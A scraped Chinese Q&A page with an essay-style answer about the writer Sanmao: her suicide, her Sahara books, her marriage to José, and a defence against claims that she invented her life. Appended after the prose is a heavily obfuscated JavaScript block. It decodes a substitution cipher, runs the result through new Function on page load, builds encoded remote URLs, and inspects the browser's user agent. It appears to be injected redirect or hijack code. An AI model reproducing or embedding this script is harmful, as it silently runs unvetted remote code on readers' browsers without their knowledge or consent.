推荐回答(2个)
二十四年前的早春,三毛在台北一家医院把自己杀死。当时她四十八岁,是个很有名的女人。一个月后,贾平凹收到她写的信。信里是正常的语调,约定要来大陆玩。这不是一个预谋轻生的人该有的样子,外人感到震惊,她父母虽悲痛,却也谈到,知道会有这一天。关于她的死,坊间传闻太多,而我更相信,这是抑郁症的结果。
谈到她,一定逃不开各种八卦。但是,我还是愿意从作品聊起。
《撒哈拉的故事》当然是最好看的一本,白手成家讲她与荷西如何一点点布置,把几间普通的水泥房,变成沙漠里最美的家。拿棺材板做靠背,用花布自己缝沙发。捡回别人扔掉的废轮胎,洗干净,放上垫子,朋友来了抢着座。荷西送的结婚礼物,竟然是一副骆驼头骨,而三毛兴奋的对他又亲又叫,看的你不由诧笑:怎样的心意相知才能如此默契?芳邻是大型吐槽那些不懂尊重私人空间,拿走别人东西心安理得,又让你讨厌不起来的邻居。写做饭那篇,三毛是这样哄荷西的:粉丝是初春的雨,还没下下来就被冻住了,山民收了来卖钱换米酒喝,所以很珍贵哦。
有这样家常琐碎的一面,调皮可爱,生活气息极浓。也有哭泣的骆驼,哑奴,这样沉郁悲壮的作品。哭泣的骆驼和追风筝的人一样,看完几天缓不过来,是一个异域噩梦,因为在经验之外,只得全盘相信,连梦里也想着那情节,不得安睡。有多少人因为这本书,对撒哈拉沙漠有了地理知识以外的喜欢?
闹学记也好,是一种繁华落尽的没心没肺,三毛善用短句,句子没有主语,所以更显家常。万水千山走遍我看不下去,不是她写的不好,是受不了。当时她已经很痛苦了,一个人走世界,不管写什么,笔下都有莫名悲伤。梦里花落知多少,爱看,又不敢看。每次想像她当时承受的事情,就觉得太沉重了,不忍细想。那句,埋下去的是你,也是我,走了的,是我们。从前抄在本子上,如今敲下这行字都触目惊心。
她有几篇文章写在德国读书,文字里没有调皮,也没有异乡情调。只是一个平凡留学生的日常,上课,下课,拼命背单词,自己逼自己上进。鞋子里进了雪水,脚冻的生痛,也不是没钱,但偏偏和自己过不去,不肯买新鞋子。她说,再也不要去逛百货商场了。人家问为什么,她回,因为要记住所有货物的名称和摆放位置呀。这也是她在德国课外打工的经历。
因为三毛,多少人觉得自己去过很多地方。她把眼睛看到的人事写下来,看客就脑补出一个神秘的远方。三毛身上戏剧性的元素实在太多,以至很多人无论如何也不相信她,信誓旦旦讲她撒谎,却又拿不出任何有力证据。
抑郁少女,自杀未遂,异国游学,未婚夫猝死,偶遇暗恋自己多年且小六岁的男生,白手成家,在沙漠里过着无法自证的幸福生活,丈夫却意外身亡,她也由沙漠主妇变成著名作家。一生自杀三次,第一次是少女时期,第二次是未婚夫猝死之后,第三次比许多人预料的晚了许多年,但终于成功把自己杀死。
确实看上去不是一般人的生活,但因此就认为她撒谎,也是有病。世事往往这样,女人描述自己所见所思时,男人常觉得她撒谎。女人撒谎时,男人通常叫她小乖乖。不是一个物种,理解起来总会有隔膜。
有人怀疑荷西是三毛虚构的,但加纳利群岛他们住过的房子还在,荷西的坟墓还在,并且因为没有缴费,他的遗骸被迁出,和其他7人合葬一处。三毛和父母写了许多信,她父母也见过荷西。如果是虚构,比如你的孩子虚构出一个爱人,你难道不是带她去看心理医生吗,怎么会帮着她一起做梦?
三毛写荷西过世的事,荷西家人来奔丧,她濒临崩溃,父亲陪着她,母亲用平底锅给荷西家人做一碗又一碗的蛋炒饭,甚至没空多与她说话。荷西家人临走前,也并不忘买岛上有名的手表送人,更像观光客。后来她去西班牙荷西父母家,公公冲她喊:荷西的钱都是我的。她说,爹爹,除了结婚戒指,我什么都不要。但是如果你还记得,荷西被无良老板拖欠工资,三毛打上门讨要的情况,就知道,这真的是心灰意冷。
我的判断是,三毛写故事,会有细节上的删减,情感上的褒贬。但是对一个作家完全要求纪实,确定不是在搞笑吗。后来也有人问三毛笔下可真,她回答大意是,我不能确定,写的时候以为是真,但也许不是。攻击三毛撒谎的人,是你自己的点偏了。至于李敖对三毛的评价,核心点是:丑逼不配内心细腻。李敖对女人的审美是直男癌晚期,在他心里,女人只管美就好了,脚底不能脏,便秘更是大罪。他对前妻胡因梦都如此刻薄,更不消说别人了。还有人拿他评论三毛的话当回事,真是够了。
智商低和没教养,常常把别人的无言以对当成服输,单方面宣布已胜。但是这一切好就好在,已经和三毛无关了。
说道做到,她说自己要去撒哈拉,仅仅是因为一张图片,然后她就真的去了,所以有了《撒哈拉的故事》。
敢爱敢恨,她在大学是和一个笔名舒凡的才子相恋,她希望和他结婚,但是他不同意,三毛就说,如果不结婚,就分手,她出国留学,然后……她就出国了,在国外认识了荷西,但是她不爱他,他等了她6年终于在撒哈拉与她结婚。
她热爱生活,如果只是苟且的生存,就没有今天的三毛了。
她兴趣爱好独特,稀罕别的女人不稀罕的东西,有人会希望自己的结婚礼物是一副完整的的骆驼骨架么?三毛就爱的不行。
心地善良,照顾了妻离子散一个人居住的邻居加里,有车载有需要的人,借给邻居东西。
不懦弱,在国外被人欺人太甚的时候,爆发。
还有很多很多的故事,文字根本就是苍白的,我没有三毛的文笔,能把三毛描述的活灵活现。没有办法把让我心痛,让我爱的三毛立体的介绍给你。
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();